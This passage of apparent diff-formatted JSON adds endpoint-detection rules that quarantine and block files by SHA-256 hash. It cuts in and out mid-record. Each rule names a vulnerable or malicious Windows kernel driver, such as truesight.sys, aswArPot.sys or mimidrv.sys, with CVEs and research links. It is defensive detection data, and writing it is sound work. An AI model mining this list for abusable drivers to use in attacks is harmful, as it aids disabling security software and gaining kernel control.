+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cf519a83-54d3-501f-aca9-a94796c94a66",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968476Z",
+  "creation_date": "2026-03-23T11:45:29.968478Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968483Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "06aabaeb78213f66d119a699db7602d841ae7f6b9ec9100b1a534abe5709e516",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cf5544fd-e310-5d14-b670-5d450cc451cb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498036Z",
+  "creation_date": "2026-03-23T11:45:31.498039Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498047Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "94131b5c56a10bc562b15eb3966c4481b165737118a6e1102e67ff291308cf38",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cf633852-1fbf-5ed3-9844-6e462ea345eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452542Z",
+  "creation_date": "2026-03-23T11:45:30.452545Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452553Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0c1b21978c6aef881f056f7b9c909b56488019459ed256511d78a4588d1aa7a4",
+  "comment": "Vulnerable Kernel Driver (aka skill.sys) [https://www.loldrivers.io/drivers/724d7989-dfce-4bb2-9beb-dee15df5b790/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cf653a27-05dc-58e7-859a-7fa059ada47f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145342Z",
+  "creation_date": "2026-03-23T11:45:31.145344Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145350Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "15f91017e60f244aff3a7449dcb0e1480bc14e91e1a4f118a98e6610c2c962e7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cf6561a1-5268-5c4b-a666-952c1b028212",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468799Z",
+  "creation_date": "2026-03-23T11:45:30.468802Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468810Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "612aa28d12aefd2af8565d4df6df9caa61b5fe8370fffb08933c03d558789e37",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cf66bd11-8baa-5d17-a944-8792c1addf22",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979829Z",
+  "creation_date": "2026-03-23T11:45:29.979831Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979836Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d7bc7306cb489fe4c285bbeddc6d1a09e814ef55cf30bd5b8daf87a52396f102",
+  "comment": "Vulnerable Kernel Driver (aka nt4.sys) [https://www.loldrivers.io/drivers/1d4f7a3a-786b-4a74-b34f-14d44343de9e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cf6a53c0-d91c-57dc-9dfa-3ced6a9757ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497578Z",
+  "creation_date": "2026-03-23T11:45:31.497580Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497586Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "62593294a57baf97ad7d8982aa250db537da892593d773515722e70e6784947b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cf6fe948-eec2-5996-939a-58b94289fa11",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457158Z",
+  "creation_date": "2026-03-23T11:45:30.457161Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457170Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "14e6f0d5f93dc52471af549de1c91c1fc1d9dbd175d5932c17e58e6b186694c9",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cf72ddce-1688-58ed-9801-84eaa892dd87",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818789Z",
+  "creation_date": "2026-03-23T11:45:30.818792Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818797Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "56135fb8d5d3ed93b38679cb0dea9cc16ed7fdb0db9659e40a5c2d82655ada67",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cf8df38b-9ccd-5795-ab73-4daaa8189c56",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972755Z",
+  "creation_date": "2026-03-23T11:45:29.972757Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972762Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ac42c7b1d9feccd48c305698942186d580b7bfd047bb73dbf028f3fed7aa24ad",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cf8f8d4a-c6d9-57a3-8e85-99113b42dc1a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984441Z",
+  "creation_date": "2026-03-23T11:45:29.984443Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984448Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e2c531a771b0df1585518a22427798e86611e6be3d357024797871a1b3876e9c",
+  "comment": "Vulnerable Kernel Driver (aka inpoutx64.sys) [https://www.loldrivers.io/drivers/91ff1575-9ff2-46fd-8bfe-0bb3e3457b7f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cf99055d-19ab-5f41-a9b6-92daaba1144d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482590Z",
+  "creation_date": "2026-03-23T11:45:31.482594Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482603Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0d8627fccac3c1c6ad9926a28fdafd207bfd5022e8e927a7004928fb06b34b2c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cf9db006-a4e9-56e5-bf08-ab11b6c06eb9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452050Z",
+  "creation_date": "2026-03-23T11:45:30.452069Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452090Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "235ab6981b521a424026926ad7f5d19a188e17491933e76269ad9a17a79ccc24",
+  "comment": "Vulnerable Kernel Driver (aka VBoxUSBMon.sys) [https://www.loldrivers.io/drivers/babe348d-f160-41ec-9db9-2413b989c1f0/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cfb00a78-ae16-5cff-8e35-f551658c2d42",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148503Z",
+  "creation_date": "2026-03-23T11:45:31.148504Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148510Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f76ca1c2916e039a9e9bf78005cdb54be966e01c2434022e866d419b2b0aca80",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cfcaf0fe-f7bb-5a67-8d07-f62b9fb4921a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618734Z",
+  "creation_date": "2026-03-23T11:45:29.618737Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618746Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "057e6a58e3515e56eab85ccb8ec5086552b7de98c886c37f6a5284c002615565",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cfce64ea-e15c-5eb3-b2bc-013fdae358f8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469262Z",
+  "creation_date": "2026-03-23T11:45:30.469265Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469275Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3bafb4e11a3823b3455728e938c69103dd4ff414529d9579b38b5ee12f77bce0",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cfda00f0-44ea-59f4-9f4c-cb16e21acf28",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147695Z",
+  "creation_date": "2026-03-23T11:45:31.147698Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147706Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b6c4dd4cd8cd166a25ed08508864d26fdc309b84009c1431e3e44c6c733b5cbf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cfe2b979-e437-5182-92a4-3b9c2bed0182",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823417Z",
+  "creation_date": "2026-03-23T11:45:31.823420Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823430Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5e3955aed83f0e304c0efbf18026eed1d85245cc2054cabf262df1e9654a8fdd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cfe67115-ca9b-5cf5-9ceb-5d06f894293c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455501Z",
+  "creation_date": "2026-03-23T11:45:30.455504Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455512Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff1ccef7374a1a5054a6f4437e3e0504b14ed76e17090cc6b1a4ec0e2da427a5",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d002d5bf-40ab-515b-b162-6c432b415b58",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490367Z",
+  "creation_date": "2026-03-23T11:45:31.490369Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490374Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "27ae83e882c81045a7beaae03d886616e34e7501833f7f9e72297496d353bc39",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d0058350-395f-5d47-b7fc-0ef3c7b85594",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835055Z",
+  "creation_date": "2026-03-23T11:45:30.835058Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835068Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b18bd2b50c20ec6604521c8124fd68b6993cbfd0cdfd1c6447aa8dbe99770baa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d00b46e4-94e0-51a8-8697-37fcb387dc30",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973305Z",
+  "creation_date": "2026-03-23T11:45:29.973307Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973312Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5c0b429e5935814457934fa9c10ac7a88e19068fa1bd152879e4e9b89c103921",
+  "comment": "Voicemod Sociedad Limitada vulnerable driver (aka vmdrv.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d013a2d2-b8e9-587c-a65e-0bd171642813",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
